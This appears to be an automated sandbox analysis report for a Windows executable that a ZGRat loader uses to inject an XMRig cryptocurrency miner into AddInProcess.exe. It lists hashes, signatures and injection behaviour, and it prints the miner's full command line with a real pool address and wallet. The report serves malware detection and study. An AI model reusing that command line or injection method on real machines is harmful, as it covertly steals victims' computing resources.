Analysis
-
max time kernel
149s -
max time network
103s -
platform
windows11-21h2_x64 -
resource
win11-20240412-en -
resource tags
arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system -
submitted
23/04/2024, 10:56
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe
Resource
win10v2004-20240412-en
windows10-2004-x64
9 signatures
150 seconds
General
-
Target
1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe
-
Size
632KB
-
MD5
9eab8c5d7b1f4659a787cc77d571f03b
-
SHA1
27ce5d456d44b2d0ce994b14b11e8c5ffeabf385
-
SHA256
1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8
-
SHA512
1fcfa030dac1c6fb573c614c1564e663086b518fa376ce3bbf90da6b1ecc8d065f91c90d6f6efea23c27efce720b90847869d0eef84ce4939fb1f43d7d0eafd9
-
SSDEEP
12288:waOcj6gjLcJD/VF3AlAp2jLre/i6g578+3NruqK1lMdMD6QVCh5Iy5C:wuHj4JzQlq2j2/iJ78KNzK1lMCGGCR
Malware Config
Signatures
-
Detect ZGRat V1 1 IoCs
resource yara_rule behavioral2/memory/2668-1-0x00000200E39E0000-0x00000200E3AE2000-memory.dmp family_zgrat_v1 -
XMRig Miner payload 12 IoCs
resource yara_rule behavioral2/memory/3652-8-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/3652-9-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/3652-10-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/3652-12-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/3652-13-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/3652-14-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/3652-15-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/3652-16-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/3652-17-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/3652-23-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/3652-24-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/3652-25-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2668 set thread context of 3652 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 81 -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe Token: SeLockMemoryPrivilege 3652 AddInProcess.exe Token: SeLockMemoryPrivilege 3652 AddInProcess.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3652 AddInProcess.exe -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 2668 wrote to memory of 3652 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 81 PID 2668 wrote to memory of 3652 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 81 PID 2668 wrote to memory of 3652 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 81 PID 2668 wrote to memory of 3652 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 81 PID 2668 wrote to memory of 3652 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 81 PID 2668 wrote to memory of 3652 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 81 PID 2668 wrote to memory of 3652 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 81 PID 2668 wrote to memory of 3652 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 81 PID 2668 wrote to memory of 3652 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 81 PID 2668 wrote to memory of 3652 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 81 PID 2668 wrote to memory of 3652 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 81 PID 2668 wrote to memory of 3652 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 81 PID 2668 wrote to memory of 3652 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 81 PID 2668 wrote to memory of 3652 2668 1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe 81
Processes
-
C:\Users\Admin\AppData\Local\Temp\1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe"C:\Users\Admin\AppData\Local\Temp\1254ede011ea7c8ba1658bab1c14877d1a2dc85f8b4e2d04be6c5fc65f1c32b8.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2668 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 185.196.10.233:3562 -u ZEPHs72fKDmidnGGBpgHXJHNdpe49PRJa1tvHRycwAPy9VLQpybiQf527biDskd3jSJyDZY5UbzexC3Fnoxu4rBvgyx1b5vnkJf.RIG_CPU -p x --algo rx/0 --cpu-max-threads-hint=502⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3652
-